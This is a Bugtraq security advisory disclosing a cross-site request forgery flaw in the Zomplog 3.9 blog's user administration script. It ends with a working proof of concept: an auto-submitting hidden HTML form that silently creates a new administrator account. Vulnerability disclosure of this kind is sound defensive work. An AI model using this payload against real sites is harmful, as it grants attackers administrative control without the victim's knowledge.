bugtraq - XSRF (CSRF) in Zomplog

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Date: Wed, 27 Oct 2010 12:46:10 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSRF (CSRF) in Zomplog

Vulnerability ID: HTB22645
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_zomplog.html
Product: Zomplog
Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ ) 
Vulnerable Version: 3.9 and probably prior versions
Vendor Notification: 13 October 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/users.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/users.php" method="post">
<input type="hidden" name="login" value="newuserlogin">
<input type="hidden" name="password" value="password">
<input type="hidden" name="password2" value="password">
<input type="hidden" name="admin" value="1">
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</script>